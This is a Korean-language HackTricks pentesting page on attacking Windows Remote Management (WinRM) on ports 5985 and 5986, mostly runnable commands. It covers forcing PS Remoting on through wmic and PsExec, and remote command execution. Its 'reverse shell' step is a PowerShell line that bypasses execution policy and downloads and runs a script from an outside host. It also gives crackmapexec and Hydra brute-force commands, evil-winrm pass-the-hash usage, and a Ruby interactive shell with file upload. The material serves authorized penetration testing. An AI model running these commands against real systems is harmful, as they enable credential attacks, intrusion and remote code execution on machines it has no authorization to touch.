5985,5986 - Pentesting WinRM

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

경험 많은 해커 및 버그 바운티 헌터들과 소통하려면 HackenProof Discord 서버에 가입하세요!

해킹 통찰력 해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요

실시간 해킹 뉴스 빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요

최신 공지 출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아두세요

**디스코드에 참여하여 최고의 해커들과 협업을 시작하세요!

WinRM

Windows 원격 관리 (WinRM)Microsoft의 프로토콜로, HTTP(S)를 통해 Windows 시스템의 원격 관리를 가능케 하는 것으로 강조됩니다. 이는 SOAP를 활용하며 기본적으로 WMI에 의해 구동되며, WMI 작업을 위한 HTTP 기반 인터페이스로 나타납니다.

기기에 WinRM이 존재하면 PowerShell을 통해 간편한 원격 관리가 가능하며, 다른 운영 체제에서 SSH가 작동하는 방식과 유사합니다. WinRM이 작동 중인지 확인하려면 특정 포트가 열려 있는지 확인하는 것이 권장됩니다:

  • 5985/tcp (HTTP)

  • 5986/tcp (HTTPS)

위 목록에서 포트가 열려 있다면 WinRM이 설정되어 있음을 나타내며, 따라서 원격 세션을 시작할 수 있는 시도를 허용합니다.

WinRM 세션 시작

PowerShell을 WinRM에 구성하려면 Microsoft의 Enable-PSRemoting cmdlet을 사용하여 컴퓨터를 원격 PowerShell 명령을 수락하도록 설정합니다. 상위 권한 PowerShell 액세스로 이 기능을 활성화하고 임의의 호스트를 신뢰할 수 있도록 다음 명령을 실행할 수 있습니다:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

이 접근 방식은 trustedhosts 구성에 와일드카드를 추가하는 것을 포함하며, 그러한 조치는 그 영향을 고려해야 하기 때문에 신중하게 고려해야 합니다. 또한, 공격자의 컴퓨터에서 네트워크 유형을 "공용"에서 "작업"으로 변경해야 할 수도 있습니다.

또한, WinRM은 wmic 명령을 사용하여 원격으로 활성화될 수 있으며, 다음과 같이 시연됩니다:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

이 방법을 사용하면 원격 WinRM 설정이 가능해져 멀리 떨어진 Windows 기기를 효율적으로 관리할 수 있습니다.

구성 여부 테스트

공격 기기의 설정을 확인하려면 Test-WSMan 명령을 사용하여 대상이 WinRM을 올바르게 구성했는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부 정보를 받아들일 것으로 예상되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상에 대한 예상 출력을 보여주는 예시입니다:

  • 올바르게 구성된 대상의 경우, 출력은 다음과 유사할 것입니다:

Test-WSMan <target-ip>

명령 실행

대상 컴퓨터에서 원격으로 ipconfig를 실행하고 출력을 보려면 다음을 수행하십시오:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

당신은 Invoke-Command를 통해 현재 PS 콘솔의 명령을 실행할 수도 있습니다. 로컬에 _enumeration_이라는 함수가 있고 이를 원격 컴퓨터에서 실행하고 싶다고 가정해보십시오:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

스크립트 실행

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

역쉘 획득

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

PS 세션 가져오기

대화형 PowerShell 셸을 가져오려면 Enter-PSSession을 사용하십시오:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

세션은 "피해자" 내부의 새 프로세스(wsmprovhost)에서 실행됩니다.

WinRM 강제 열기

PS Remoting 및 WinRM을 사용하려면 컴퓨터가 구성되어 있지 않더라도 다음을 사용하여 활성화할 수 있습니다:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

세션 저장 및 복원

만약 원격 컴퓨터에서 언어가 제한되어 있다면, 이 기능은 작동하지 않습니다.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

이 세션 내에서 _Invoke-Command_을 사용하여 PS 스크립트를 로드할 수 있습니다.

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

오류

만약 다음 오류를 발견한다면:

enter-pssession : 원격 서버 10.10.10.175에 연결하는 데 다음 오류 메시지로 실패했습니다 : WinRM 클라이언트가 요청을 처리할 수 없습니다. 인증 체계가 Kerberos와 다른 경우 또는 클라이언트 컴퓨터가 도메인에 가입되지 않은 경우 HTTPS 전송을 사용하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts를 구성하려면 winrm.cmd를 사용하십시오. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 관련 정보를 얻을 수 있습니다 : winrm help config. 자세한 정보는 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.

클라이언트에서 시도하세요 (여기의 정보를 참고):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

HackenProof Discord 서버에 가입하여 경험丰富한 해커들과 버그 바운티 헌터들과 소통하세요!

해킹 통찰력 해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 파악하세요

최신 공지 최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 정보를 받아보세요

**Discord**에 참여하여 최고의 해커들과 협업을 시작하세요!

리눅스에서의 WinRM 연결

브루트 포스

조심하세요, WinRM 브루트 포싱은 사용자를 차단할 수 있습니다.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

악의적인-winrm 사용하기

gem install evil-winrm

문서를 읽으려면 해당 github를 방문하세요: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

evil-winrm를 사용하여 IPv6 주소에 연결하려면 /etc/hosts 내에 도메인 이름을 IPv6 주소로 설정하고 해당 도메인에 연결하십시오.

evil-winrm를 사용하여 해시 전달하기

evil-winrm -u <username> -H <Hash> -i <IP>

PS 도커 머신 사용하기

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

루비 스크립트 사용

여기에서 추출한 코드: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

References

HackTricks 자동 명령어

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

HackenProof Discord 서버에 가입하여 경험丨한 해커들과 버그 바운티 헌터들과 소통하세요!

해킹 통찰 해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호작용하세요

실시간 해킹 뉴스 실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 파악하세요

최신 공지 최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 정보를 받아보세요

**Discord**에 참여하여 최고의 해커들과 협업을 시작하세요!

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated